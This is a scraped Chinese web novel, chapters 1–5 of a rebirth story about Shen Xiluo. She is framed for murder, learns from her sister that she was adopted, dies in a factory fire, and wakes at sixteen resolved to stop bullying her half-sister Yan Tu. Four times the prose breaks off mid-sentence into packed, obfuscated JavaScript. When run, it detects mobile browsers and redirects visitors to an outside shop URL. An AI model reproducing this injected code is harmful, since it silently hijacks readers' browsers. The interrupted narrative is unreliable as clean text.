《恶女重生后变怂了》 1. 第01章 沈析洛从酒店的大床上醒来,发现自己手里正握着一把沾了血的水果刀,身边横竖躺着脸孔陌生的一男一女,两人双目紧闭,浑身赤条条的且布满血痕…… 当沈析洛反应过来发出惊惧到极点的尖叫时,十数名警察突然破门而入,不由分说将她当场制服并逮捕。 * “……本席宣判,被告沈析洛于20xx年4月29日故意杀人罪名成立,依法判处无期徒刑……” 法庭观众席传来某些人的叹息声和低泣声,站在被告席上的沈析洛一脸麻木。 她只知道这些人,在以亲人和好友的身份被传去问话时,皆摆出一副“帮理不帮亲”的正义面孔,揭发她平日里所有鸡毛蒜皮的恶行。 直到这一刻,连她都忍不住怀疑自己:她做人已经失败到众叛亲离的地步了? *** 沈析洛服刑期间,有两个人来探望过她。 第一个是钱小昂。 沈析洛读书时是校霸,钱小昂是她的跟班之一,性格胆小爱哭,总是被跟班团里的其他人欺负和当跑腿使唤。 毕业以后,沈析洛罩着的跟班团解散了,大家各奔东西不再联系,几乎恨不得离沈析洛远远的,只有钱小昂死心眼,明明很怕她,却经常时不时主动跑去找她,任她差遣。 这会儿,隔着面玻璃,沈析洛还没开口说话,钱小昂拿起电话就是一阵痛哭流涕: “呜呜……老大,我知道你一定是被冤枉的,我相信你没有杀人,虽然你平时脾气暴躁恶劣,性格嚣张跋扈,常常自以为是又蛮不讲理,老是喜欢欺负人和捉弄人,但我们相处了那么久,就我对你的了解,像这种约一男一女去开房吸毒还借机杀人的事,我相信以老大你的智商是很难做得出来的,啊呜呜呜……” 钱小昂一边抹泪,一边想象老大如果真带两个人去开房,唯一可能会干的事——那绝对是强迫那两人陪她通宵斗地主!! “……”沈析洛听完很感动,但不知道为什么更想打人。她咬牙切齿地微笑:“谢谢你这么信任我呀,小昂!” “不客气,应该的。”钱小昂泪眼汪汪地看着她。 看到对方这副模样,沈析洛彻底……气不起来了!算了,真是拿这个小傻帽没辙。 钱小昂又自责地哽咽:“对不起啊老大,都怪我,你出事的那段时间我跟家人去国外度假了,所以没来得及帮上你什么忙……” “关你啥事呀,还怪你?我可不指望你能为我做什么事!”沈析洛表情有些不耐烦,她单手捋了下头发,“蠢到没边了,这种事都敢往自己身上揽……你给我听好了,我现在是杀人犯,等你踏出这里以后,就不要再和我扯上关系了。” 钱小昂泪目:“呜,都到这种时候了,没想到老大你还这么为我着想,呜呜老大你真好……” “好屁好,我是怕你在外面影响我威望。”沈析洛嘴硬。 钱小昂喊了她一声:“老大……” “嗯?”沈析洛斜睨对方。 钱小昂低下头,期期艾艾道:“其实……我爸妈已经决定要带我一起移民去G国,以后没什么事可能就不回来了,所以……我以后也没法常来看你了……” “少自作多情,谁要你来看我……”沈析洛沉默了一下,问,“带纸巾了吗?” “哦哦,有的,带了。”钱小昂赶紧从衣兜里掏出一包卡通图案的面巾纸递过去,结果发现隔着道玻璃递不过去了,登时一脸无措。 “小傻妞。”沈析洛一声轻笑,接着用嫌弃的语气道:“拿纸巾把你脸上的眼泪鼻涕擦一擦吧,丑死了,不知道的人还以为是你在坐牢呢。” 钱小昂先破涕为笑,等用纸巾捂住眼睛后,不但没停止抽泣,反而越哭越大声:“哇呜呜呜,老大,以后你可怎么办啊……” 是啊,可怎么办,沈析洛一个含苞待放的年纪,还没来得及盛开,就注定要在监狱里凋零。 “吵死了,爱哭鬼!”沈析洛瞪她,自己的眼眶也忍不住泛红。 沈析洛知道自己脾气不好,也知道很多人表面恭顺她,其实背地里都恨不得她去死。 可她一点都不在意,相反的,她就是喜欢那种别人看不惯她又干不掉她的样子。 虽然这次是真栽进阴沟里,永远翻不了身了。 不过如果可以重来一次,她依旧会选择这么我行我素,唯独现在有些后悔了,后悔当初没对小昂好一点…… 因为钱小昂,是头一个真心为她哭泣的朋友。 *** 第二个来探监的,是沈析洛的妹妹,沈析莉。 两人才刚面对面坐下,沈析洛拿起电话就迫不及待地问:“为什么来的是你,爸妈呢?” 相比沈析洛穿着皱巴巴的号服和面容憔悴,沈析莉一身光鲜得体的打扮,就像个准备出席宴会的名媛。 沈析莉之前还在法庭上因为姐姐被判刑而哭得梨花带雨,这会儿正心不在焉地一边欣赏着自己刚做不久的美甲,一边说道:“他们是不会来看你的。” “析莉,你这是什么态度?!”沈析洛忍不住气恼地吼她,“我是你姐啊,就算我们之前有过什么矛盾,你也不该在这种时候赌气,你这个不分轻重的臭丫头,我现在是在坐牢啊!快说,爸妈他们是怎么回事,为什么一直没来看我?” “我都说了,他们不会来的。”沈析莉悠悠地抬起头来。 “诶,我真是要被你气疯了,你能不能好好说话啊!”沈析洛深呼吸了一下,显然并不想和对方在这个时候吵架,于是耐着性子道:“是,我知道,爸一直气我在外面惹是生非,所以他气消之前不来看我,我能理解,但是妈呢,她怎么可能不来……” 沈析莉一声讥笑:“呵,他们为什么要来?” “喂,臭丫头……”沈析洛气得刚要发作。 沈析莉这才不缓不慢地道:“你又不是他们亲生的。” “什、什么?”沈析洛皱起眉头,以为自己听错了。 “我说,”沈析莉扯起嘴角,凝眸看着对方,目光随即中闪过一丝疯狂之色:“你是妈从别人手里抱来的野种!” 终于说出了憋藏多年的秘密,她根本不给沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132611|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 析洛反应的机会,话题一旦有了开头,后面便是滔滔不绝的叙述和倾泄—— 原来,沈母本是沈父的随行秘书,两人背地里一直暧昧有染,却未公诸于众,沈母不甘没有名分,于是在精心设计之下怀了孩子,沈父这才奉子成婚娶了她。 沈母早产,孩子一出生就死了,但她害怕动摇到自己好不容易得来的地位,所以瞒着所有人,找了个穷人家刚出生的孩子,以高价买下来取代之,这个孩子就是今天的沈析洛。 那时候沈父还不知道自己的孩子不是亲生的,沈母害怕孩子的身世被揭穿,每天都过得战战兢兢,直到沈母怀上二胎,顺利地生下了沈析莉。 沈母这才把大女儿沈析洛视为眼中钉,恨不得除之而后快,但平日里却从不表现出来,反而一直宠溺无度地放任纵容她,把她养成一个无法无天、到处寻衅滋事的问题少女。 随着大女儿的渐渐成长,沈父被她一次次气得大发雷霆,隔三差五就想把她赶出家门、和她断绝父女关系,最后索性对她视若无睹,任她自生自灭。 直到沈析洛犯罪坐牢了,沈母在沈父面前才一把鼻涕一把泪痛心疾首地道出了她的身世,当然也隐藏很多不能说的细节,把自己塑造成一个用心良苦却被女儿伤透了心的可怜慈母。 沈父一下就原谅了沈母;而对大女儿的态度,仅仅只是冷漠地评价了一句:难怪天性难驯,原来是野蛮人的基因。之后便对牢里的沈析洛完全不闻不问。 至于妹妹沈析莉,比起对大女儿的事事迁就和纵容,沈母对她从小要求严格,既要琴棋书画样样精通,又要知书达理懂得交际礼仪,苛求把她培养成一个才貌双全的名门淑女。 沈析莉自然也不负众望地朝着父母的意愿去发展,成为别人口中常常夸耀的理想孩子。 但是,沈析莉真实内心是怎么想的? 在还不知晓事情真相之前,没有人知道她从小到大,有多嫉妒和记恨自己的姐姐!! 嫉妒姐姐夺走了母亲的所有宠爱和父亲的时刻关注;记恨姐姐明明是个废材,浑身上下没一样比得过她,却总是理所当然地对她指手画脚,以姐姐的身份干预她的一切,从中作梗破坏她一桩桩美好恋情…… 好在沈析莉十五岁时,因为生了场大病,第一次耍性子要寻死觅活,沈母为了安抚和开解她,才对她道出了一切真相,让她别拿自己和一个野种做比较,免得自降身份。 从那以后,沈析莉彻底改变了心态,把秘密藏在心里,在野种姐姐面前表现得越发温顺无辜,暗地却故意引导对方和别人起冲突,就等着有一天,等着对方自食恶果,身败名裂。 而这一天,终于来了,沈析洛入狱了! * 隔着透明的玻璃,听着沈析莉一脸快意地道出陈年往事的真相,看着她逐渐扭曲的面孔…… 沈析洛由一开始的烦躁和不置信,到最后整个人都陷入在错愕惊怔中…… 她呼吸紊乱,胸口起伏,几欲开口却说不出话来,终是克制住即将爆发的情绪,僵硬地问起: “那……严菟呢?” 2. 第02章 “那……严菟呢?” 严菟是她们同父异母的姐妹,十六岁时突然拿着她母亲的遗物,独自跑来沈家大宅想认祖归宗。 沈父和她过了一遍亲子鉴定程序后,便默然将她接纳进家门;沈母的态度也十分异常,不但没有生气和反对,还大度地亲自给她安置房间,办理转学手续。 严菟的年龄和沈析洛一样大,但按出生月份排序,算是沈析洛的二妹,沈析莉的二姐。 在沈析洛身世还未被揭露之前,对于严菟,沈家姐妹从不待见她这个外姓私生女,应该说是,姐妹俩难得达成共识地站在同一阵线,皆对她厌恶到了极点。 只因严菟登门入室的当天晚上,沈母在背地里是这样向沈家姐妹哭诉的: 严菟的妈妈是个小三,她趁沈母怀孕期间跑去勾引沈父,还有了孩子,想借此上位。 沈母知道后,为了自己肚子里即将诞生的孩子,也为了不影响夫妻间感情,只好私下去找小三,把自己所有的积蓄和嫁妆都给了她,要求让她离开沈父。 小三得到丰厚的钱财后便一口答应会去打胎,并且不再出现在他们面前。沈母相信了,只是没想到结果……小三竟然没有兑现承诺! 虽然不知道小三后来是怎么死的,但她的孩子现在已经这么大了,还觍着脸自己跑上门认亲,这摆明就是想要来争分家产!不愧是小三生的女儿,都不是省油的灯。 沈母最后还特别伤心地擦泪表示:不过毕竟是沈家的血脉,她也只能默默接受这个孩子了…… 当时沈析洛看到母亲这副委曲求全的模样,简直是怒火中烧!她虽然性格顽劣,但极其护短,母亲那么宠爱她,她自然是向着母亲的。 所以打从严菟一进门后,沈析洛便处处针对这个不要脸的私生女,更仗着自己的嚣张叛逆,在家里无所顾忌地使唤她、羞辱她。 到了学校则联合班上的同学孤立她,还放任自己的小跟班们去捉弄、欺凌她。 而从头到尾沉默寡言的严菟都逐一承受下来,既没正面反抗,也没跑去父亲跟前告状…… 这使得沈家姐妹包括沈母,对她的欺压更加变本加厉,明目张胆。 * “……所以严菟呢?”沈析洛反复呢喃。 她只想知道,既然她不是沈家亲生的,连个私生女都不如,那她一直以来百般刁难严菟,只为了替母亲“打抱不平”的行为,到底又算什么…… “严菟?”沈析莉笑了,“呵,瞧瞧你这落魄的样子,还有什么资格去提起别人?她呀,现在过得不知道比你好多少万倍呢!”说到最后,语气中隐隐带着一丝嫉恨和不甘。 沈析洛没察觉到对方的异样,她抬眼死死地瞪着对方,紧握住电话的手指关节逐渐泛白、颤抖——无疑是被气的。 沈析莉似乎被对方愤怒的神色取悦了,道:“不过看你这么在意的份上,那我不妨告诉你好了……”她话锋一转,“你知道为什么我妈生头一胎时会早产吗?” 她的一句“我妈”,显然是彻底将沈析洛这个姐姐划分为毫不相干的外人。 “……”沈析洛闭眼不语,她正努力克制着自己内心纷杂的情绪。 沈析莉道:“很简单,因为我妈才是小三。严菟她妈和我爸两人原本情投意合,已经到了谈婚论嫁的阶段了,当时那个女人怀有一个月身孕,却没告诉我爸,指望在结婚时给他一个惊喜…… 呵,结果被我妈先发现了。我妈当时只是我爸的秘书,她一得知那女人怀孕,便立马私下跑去找那女人,先发制人骗对方说,自己怀了我爸的孩子,有三个月了。 那个蠢女人居然相信了,伤心欲绝之下隐瞒自己怀孕的事,选择不告而别离开我爸。 接着我妈以同样的谎言欺骗了我爸,我爸追不回恋人,最后只能和我妈奉子成婚。 当然,我妈怀孕三个月是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132612|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骗人的,虽然她后来也怀上了,但根本生不出足月的孩子,孩子被迫早产而死,为了圆谎,为了不让其他人追查孩子的死因,所以只好拿你这个现有的野种来充数。” 沈析莉顿了顿,“可想,如果没有我妈的半途插足,严菟可能才是沈家的千金小姐;而你,大概会在某个贫困地区过苦日子;至于我,也不会存在…… 哎喲,这样说来,我觉得你应该感激我妈才对,给了你那么好的生活条件,让你当了二十几年的大小姐……” “够了!”沈析洛陡然控制不住地暴怒起来,“沈析莉,你现在跟我说这些有什么用??” 感激?她难道该感激这对母女,联手起来玩弄她整个人生,由始至终把她当成扯线傀儡一样操纵利用?! 这么多年来,她心中所以为的母女情、姐妹情,原来统统都是假的!! 她为了守护母亲和妹妹,甚至数不清自己曾经打压过严菟这个私生女多少回,现在“妹妹”却有脸跑来告诉她,严菟只不过是个受她们欺负的无辜倒霉蛋…… 想想也是,放任一个野种去撕咬一个私生女,对沈母和沈析莉来说可谓是个一箭双雕的好算计。 沈析洛拿着电话听筒猛地砸向玻璃屏,破口大骂:“你们这对狼心狗肺的母女!!!” 犯人的突然暴起让旁边几个看守员立马赶上前来,将她制服,押走。 “跟你说这些,确实没有什么用,一点用都没有。”沈析莉回答对方刚才的话,她淡定地站起身来,看着因陷入暴怒而被强行拉走的憔悴女人,也不管对方还能不能听到,翘起嘴角自顾说道: “但我就是喜欢这种对你落井下石的感觉,看着你在牢里吃苦受累,看着你因为知道真相而内心崩溃,我就特别高兴、特别有成就感……” 两人隔着玻璃针锋相视,直到铁门被关上的那一刻,沈析洛永远也忘不了“妹妹”脸上那意得志满的神情。 3. 第03章 自从和沈析莉见面的那天起,身处牢狱的沈析洛继日消沉,几乎每天以泪洗面。 这种颓废的状态持续了大约一个月,直到眼泪流干,她才恢复以往的骄横张扬,在狱中四处挑衅他人。 但凡那些在私下搞小动作想坑害她的人,都得被她逐个拎出来正面怼,几句口角过后便动上拳脚,当场互殴。 虽然她也经常被揍得鼻青脸肿,不过这恰好是她想要的,想借此来宣泄自己的愤恨,用疼痛转移自己的注意力。 直到她被单独关进了禁闭室,才消停了一阵子。 *** 一年后的某一天。 服刑人犯像往常一样围在电视机前一起看新闻,沈析洛坐在角落发呆。 电视上正在播放着严氏集团并购沈氏产业发布会现场。 坐在最前头的几个人忽然纷纷议论了起来: “卧槽,快看,这女的真漂亮,是刚出道的明星吗?我怎么没见过,有谁知道她的名字不?” “别傻了!这可是严肃的企业并购发布会,怎么可能让那些娱乐明星来,我看她的穿着打扮也不像是礼仪小姐,啧,该不会是哪个富商不小心带出场的情妇吧?” “不像呀,谁家的情妇表情那么冷淡,倒是旁边那几个西装革履的老男人笑得那么谄媚,简直要把她衬托成高高在上的女王了……” “卧槽!”刚刚那个开头说卧槽的人,又连说了好几声卧槽:“来了来了,她走过来了,妈呀,她居然坐到主位上去了,看呐,旁边字幕显示的头衔是——严氏集团首席执行官,严……菟?” “靠,这是什么人生赢家啊!!!” “太假了,这么年轻漂亮的女人能当上严氏集团的CEO?哼,反正我不信,这里面一定有什么不为人知的龌龊勾当,看她长相就知道了……” “你就嫉妒吧,能有什么勾当,就算是严氏董事长的亲儿子也不敢走这样的后门,想要胜任这严氏CEO,除了靠人脉和财势外,还得凭借自身过硬的能力和手段!” “切,说得你很懂似的……哎呀,谁推我?!” 安静坐在角落的沈析洛,先是恍惚地反复听到“沈氏”这两个字眼,接着是别人提起的那熟悉的名字,她跟着在口中默念了几遍…… 像是被惊醒般,她蓦地站立起来,一把拨开左右边的人,挤到电视机跟前,目不转睛地盯着里面那个正在帷幕前进行签约仪式的女人,女人从容随性地执笔低头,举手投足间无不散发着高贵优雅的气质—— 这熟悉的身影……是严菟,真的是严菟!是她认识的那个严菟!!! 为什么、为什么这个女人的变化会如此巨大?! 在她坐牢的这一年里,严菟到底在外面经历了些什么,又发生了什么事? 不,应该不止一年,她和严菟其实有三年没见过面了。 三年前严菟独自脱离沈家后便彻底失去音讯,或者说,沈家的人根本就没去留意过严菟的动向。那时候沈析洛还在为自己能逼走严菟这个私生女而感到沾沾自喜。 还有,严菟和这赫赫有名的严氏集团,之间是否有着什么千丝万缕的关系? 每个疑惑都在沈析洛的脑海中一闪而过……然而,这些问题对现在的她来说,已经完全不重要了,她唯一想知道是—— “沈氏、沈氏为什么会被并购??”她激动地大声发问。 “你走开啊,别挡着电视!” 有人担心她们又要闹事影响大家看电视,只好把自己之前在新闻里看过的内容都搬了出来: “听说沈氏破产了。好像是因为一年前被人举报逃税,企业被查后,又牵连出各种黑史,信誉大损股价暴跌,严氏趁机挖走了他们的投资人和合作商,沈氏经营连续亏损,债务超额无法偿还,只得宣布破产,然后严氏就这么轻易地把沈氏给并购了…… 诶,据小道消息透露,沈家现在可惨了,沈庭雄抛妻弃子,自己带着私人存款偷渡出国了,留下他老婆带着小女儿四处躲债和改嫁;哦对了,他好像还有个大女儿一直在坐牢; 至于沈家的亲戚呀,全都树倒猕猴散,一见到那母女俩去投亲,立刻关门把她们赶走……哎,世态炎凉,那母女也是挺惨的……” 旁边有人插嘴:“等等,你一个坐牢的有资格去可怜外面那些自由的人吗??” “……” “呵呵……”沈析洛忽然发出低低的笑声。 在场其他人不明所以地侧头去看她。 只见她双手捂脸,陡然大笑了起来:“哈哈哈哈哈哈……活该!她们活该啊……是报应,这些都是她们应得的报应!!” “这人怎么回事呀?” “疯了,估计她神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132613|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经病又在发作了……” “离远点,别理她……” *** 四个月后,沈析洛原已尘封归卷的案件竟然有了新进展。 据说是个经验老道的刑警在追查其他命案时,从凶手身上找出其它线索,追根溯源,立刻联想起沈析洛的案情,于是搜罗证据为她重新翻案,最后沈析洛沉冤得雪,无罪释放。 得到相关赔偿的沈析洛一时无处可去,又不想去投靠任何人,于是离开了熟悉的城市,去其他小城镇安家,又在附近的小工厂找了份清闲的活儿干。 这期间也就花了半个月。 有一天。 小工厂的车间意外失火,几十个人推推搡搡地逃出到室外。 沈析洛跑出里间时,突然半途被人拽住了一只脚。 她低头一看,竟然是曾经和她在狱里发生口角打过架的女人!后来女人刑满出狱回了家,才知道女人是这儿的本地人,还好巧不巧和沈析洛找在了同一个厂里工作,不过她们平时照了面都是直接无视对方,装不认识。 女人正半躺在地上,被一台倒落的包装机压住了双腿。 那女人又惊又急:“喂,快、快帮我,快救救我!!” 沈析洛见火势正往这边蔓延,也一脸着急道:“知道了,你快松开,不然我怎么帮你把这东西搬开!” “不!不能放,我打伤过你,你一定是记恨我,想趁我一放手就自己跑掉是不是?!” “去你妈的,别在这里浪费老娘时间!!”沈析洛毫不犹豫地一脚踩下那只死钳不放的手。 女人发出尖叫:“啊——我的手!!” 双脚自由的沈析洛立刻走前几步,正弯腰准备去抬开那台笨重的机械。 慌张失措的女人以为对方要逃,侧过身来,迅速伸手去抓捞对方的双脚。 沈析洛猝不及防,身体猛地失去重心朝前扑倒,脑门瞬间直磕在那坚硬的机械角上…… 熊熊烈火还没烧过来,外面也传来救援人的声音:“里面的人别慌,我们已经进来了!” 头破血流的沈析洛倒趴在地上,她眨了眨眼睛,整个脑袋嗡嗡地叫不停,又像被灌了铅一样慢慢变得沉重起来,直到她瞳孔涣散,逐渐失去了意识…… …… 这大概是沈析洛人生中最冤最惨最不值的一死!!! 4. 第04章 苑承中学,是一所坐落在市中心的私立学校。该校基础设施齐全,环境优美,师资雄厚,学费昂贵。里面只有三种学生:有钱的学霸,贫穷的学霸,有钱的学渣。 午后,暖阳斜照,光线穿过玻璃窗投进高中部一年E班的教室。 “……锦瑟无端五十弦,一弦一柱思华年。庄生晓梦迷蝴蝶,望帝春心托杜鹃……” 沈析洛缓缓睁开双眼,耳边是一阵一阵属于青少年们特有的清脆朗诵声。 她茫然地抬起头来,待看清周围的人和物后,瞬间感觉恍如隔世—— 此时的她坐在最后一排靠近教室后门的位置,眼前课桌上堆满崭新不怎么翻动过的课本;一个个似曾相识却喊不上名字、正在埋头朗读古诗或开小差的同学背影;以及站在讲台上,单手扶了下眼镜框朝她望过来的女老师…… 只见该老师厉目一眯,喊道:“沈析洛!!” 蹲过号子的沈析洛条件反射地站立起身,铿锵有力地应声:“到!服刑编号2034……” 女老师立马拍桌打断她,“说什么呢你,还在梦游啊?” 沈析洛这才回过神来,她对台上这个戴眼镜扎马尾、约三十多岁的女老师有些印象,忍不住吐槽:“这么多年了还能梦到虎姑婆,这是什么噩梦呀……” 周围立刻传来同学们想笑又不敢笑的噗嗤声。 在这所学校就读的学生大部分是家世显赫的学生,他们天不怕地不怕,就怕台上这位女老师胡孤梅,连校长都要礼让她三分,只因她家长辈是不可说的省级领导,轻易不能得罪。 也就沈析洛这个刺儿头敢当面直呼胡老师的外号,和经常与之顶撞,虽然事后被记过好几次和罚写了不少的保证书。 “笑什么笑,谁让你们停下来了,继续接着读!”胡孤梅怒喝道,随即训斥沈析洛,“你上课不好好听讲,就只知道睡觉做梦,给我出去外面罚站,站到放学为止!” 沈析洛简单回了句:“是。”便从后门走了出去。 胡孤梅皱眉,狐疑地盯着对方离开:这次怎么突然变听话了?换成平时早就卯起来跟她叫板了。 沈析洛来到教室外面,现在是上课时间,走廊很安静,她止步在的栏杆前,眺望楼下操场正在上体育课四处跑跳走动的学生…… 她伸手试捏了一下自己的大腿,发出“嘶”的一声,又狠下心来,猛掐手臂内侧薄嫩的肉,当即发出“嗷呜”的痛叫,这才一边揉搓手臂一边低声感慨:“妈耶,我真的不是在做梦啊!!” 所以她这是……重生了吗?!像电影小说描述的那样回到了过去? 她回头去看教室门口的班级门牌:高一(E)班。 又看看自己身上的蓝白校裙,和一双干净洁白的手…… 这时候的她应该只有十六岁! 她双手插在发间,蹲下身来。脑海浮现起曾经的所有往事,印象深刻的是入狱后的那段回忆,皆历历在目,那种痛彻心扉的感觉太过真实了…… 她觉得自己现在脑子不够清醒,需要好好静一静,好好消化眼前的一切—— 这到底是不是在做梦,她有好多事情可以去慢慢验证…… *** “铃铃铃——” 放学了。 看着同学拎着书包陆续走出教室,沈析洛这才进去里面,坐回自己位置,翻弄桌上的东西。 旁边几个的同学从她面前路过时,还会停下来识相地道一句“老大再见”。 沈析洛心不在焉地点头回应他们。 和她相隔比较远的最前排,一个扎着双马尾、身高约一米五五的小个子女生收拾完东西后站起身,背着粉红色双肩包从前门走出去。 当小个子女生经过后门的窗口时,她缩起肩膀低着头,像其他人一样,唯唯诺诺地对窗里的人说了声:“老、老大再见……” 然后在她准备快步离开时,沈析洛忽然探出脑袋来,喊住了她:“嘿,你等等。” 背影一僵,迟疑地回过头去,怯声问道:“有、有什么事吗?老大。” 沈析洛露出重生后的第一个笑容,对她招了招手:“过来。” 这让小个子女生不由地内心发毛。 她印象中的老大一直嫌她笨嘴笨脑、不会来事,平时对她呼之则来挥之则去时,也总是摆出一副不耐烦的样子,才不会像现在这样笑得那么亲切! 事出反常必有妖,看来她今晚又不能按时回家了…… 小个子女生在心里认命,她双手搭在双肩包的背带上,老实乖巧地走到对方的跟前:“老大有事尽管吩咐,除了杀人放火打家劫舍违法犯罪的事我做不来,其他事我定为你赴汤蹈火在所不辞……” “打住。”沈析洛好笑道:“没事我就不能找你吗?” “嗯……”小个子女生表情有些为难:“没事找我?那我就不知道能为老大做些什么了……” 比对方高出一个半头的沈析洛转身坐到课桌上,用食指轻轻弹了一下对方的脑袋瓜:“喂,钱小昂,你是笨蛋吗?我说你这臭毛病能不能改一改,老是上赶着给别人跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132614|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿,一点脾气也没有,难怪总是被别人欺负……” 钱小昂当即露出一脸不可思议:“咦,老大,你居然记得我的名字,还知道我的姓!!” 不怪她的关注点歪到这上面,她心中的老大很少会去记别人的名字,就喜欢根据别人的外貌和特征去给别人起外号,比如之前一直都是喊她“小矮子”。 沈析洛一时不知道说对方什么好。她做人做事习惯直来直去,但恰恰很不擅长表达自己的感情,能以回到从前的方式再次见到钱小昂,她感到非常开心,也有很多来不及说的话想告诉对方,但话到嘴边,她又改口了…… 总之在她还没梳理好自己目前的状况前,她不能任意妄为地作出改变,让旁人察觉到她的异样。 沈析洛好心情地轻扯了下对方的一边马尾,随意地把书包挎到肩上,“今天我们一起回家吧。” “啊?”钱小昂表情呆懵。 “啊什么啊?” 钱小昂道:“老大……你、你之前不是说、说我打扮幼稚,像个小学生,说和我走在一起很没气势,很丢人吗……”她越说,脑袋垂得越低。 “……我有这样说过吗?” 钱小昂重重地点头,模样看起来十分悲愁。 “好吧……”沈析洛干咳了一声,想了想,道:“不可否认确实是挺幼稚的,不过我后来想通了,我身边得有你这么一个……嗯,娇小脆弱的存在,才能把我衬托得英姿飒爽、威武雄壮。” “真的吗?!”钱小昂立刻一改愁眉苦脸,眼里冒出星星,“那我以后是不是可以和跟班团的其他人一样,随时跟在老大身边??”而不是帮大家跑完腿后就被远远地赶开到一边。 跟班团?一提起这个,沈析洛便危险地眯起眼睛。如果不是因为她后来坐了牢,她到死都不知道原来这群跟班里,有人打着她的名号在背地里干了不少腌臜事…… 她随口问道:“对了,那几个人呢?”她记得这些人平时一到下课或放学就会主动围到她身边,怎么今天都不在了? 钱小昂突然一怵,畏怯地后退了一步,揪着衣角,吞吞吐吐:“老大你、你你……” “怎么说话老是结结巴巴的,得改。”沈析洛走到门口,“我怎么了?” 钱小昂小心翼翼地道:“你、你不是让她们去把严菟堵在女厕了么……” 沈析洛蓦地一惊:“什么时候??” “现在。” “糟了!!”沈析洛忍不住低咒了一声,然后迅速拉起钱小昂的手,“走,去找她们!” 5. 第05章 沈析洛带着钱小昂在教学楼的走廊奔跑。 提到这次的女厕围堵,沈析洛才忽然想起一些细节。如果没有记错的话,严菟是在上个月找回沈家的,并于前阵子转学过来,以优异的入学测试成绩考进了尖子班,高一A班。 在这同校的短短十几天里,足够发生许多事情。 先是沈母日夜在沈析洛耳边诉说委屈,给她洗脑: 严菟她妈是个爱财势利、喜欢乱勾搭男人破坏别人家庭的浪蹄子;严菟和她妈一样不要脸,别看她平日里一副柔弱无辜的样子,那都是装的,其实她就是个费尽心机想来争分家产的小浪蹄子…… 沈析洛的愤怒值从0%上升到20%。 接着是她身边的几个跟班,总有人不遗巨细地主动向她汇报关于严菟作浪的负面传闻: 比如严菟一来学校,便讨好所有科任老师,得来他们的关照和偏爱;班里有好几个男生为了她争风吃醋大打出手;一对小情侣因为严菟的出现而闹分手了;严菟向同学倾诉同父异母的姐姐沈析洛欺凌她,引来他人的同情…… 沈析洛的愤怒值飙升至50%。 最后是在前天上午,还未重生的沈析洛亲眼目睹,严菟在操场上给正在打篮球的校草递矿泉水和毛巾…… 那可是沈析洛暗恋了一学期的校草啊!!!严菟这行为是彻底坐实了之前别人说她“小浪蹄子、勾三搭四”的浮言。 那时严菟刚从操场回来,碰巧经过了沈析洛的身边,她停下脚步,细声细气地和对方打招呼:“姐姐……” 愤怒值100%爆表的沈析洛回过身去,抬手当众甩了她一个耳光:“谁准你叫我姐姐了?恶心!” 不顾一脸错愕的严菟,沈析洛打完后还一把将她推倒在地上,指着她的鼻子怒骂:“说我欺负你?好啊,如你所愿,我就让你见识一下什么是真正的霸凌!” 之前做过最过分的事就是在严菟铅笔盒放毛毛虫的沈析洛,这会儿是真的被惹怒了,她趾高气扬地对周围零零散散的同学宣布:“你们给我传出去,以后谁敢和严菟有来往,就是和我沈析洛过不去,和我过不去的人,你们先掂量一下自己够不够格!” 放完话,她身旁的几个跟班立刻气势嚣张地挺身而出,硬是把围观的同学吓退了一圈。 接着沈析洛对着那几个跟班轻飘飘地扔下一句“以后严菟你们看着处置吧”,便潇洒离开…… *** 高一E班在教学楼的西三楼,A班则在隔壁的东二楼。 在楼梯道跑跳的沈析洛,一回想起自己最后说过的这句话,简直恨不得一头撞死自己好再重生一次!! 老天真是存心在耍她,才让她好巧不巧重生回到欺负严菟后的第三天! 前面半个月里,沈析洛讨厌严菟,但顶多只是恶作剧地捉弄对方、说些冷嘲热讽的话语刺刺对方;可自从她对着跟班们说完那句“你们看着处置”后,性质就全变了,因为不管那几个人私下对严菟做过什么事,这些欺凌的名义——皆由沈析洛来承担!! 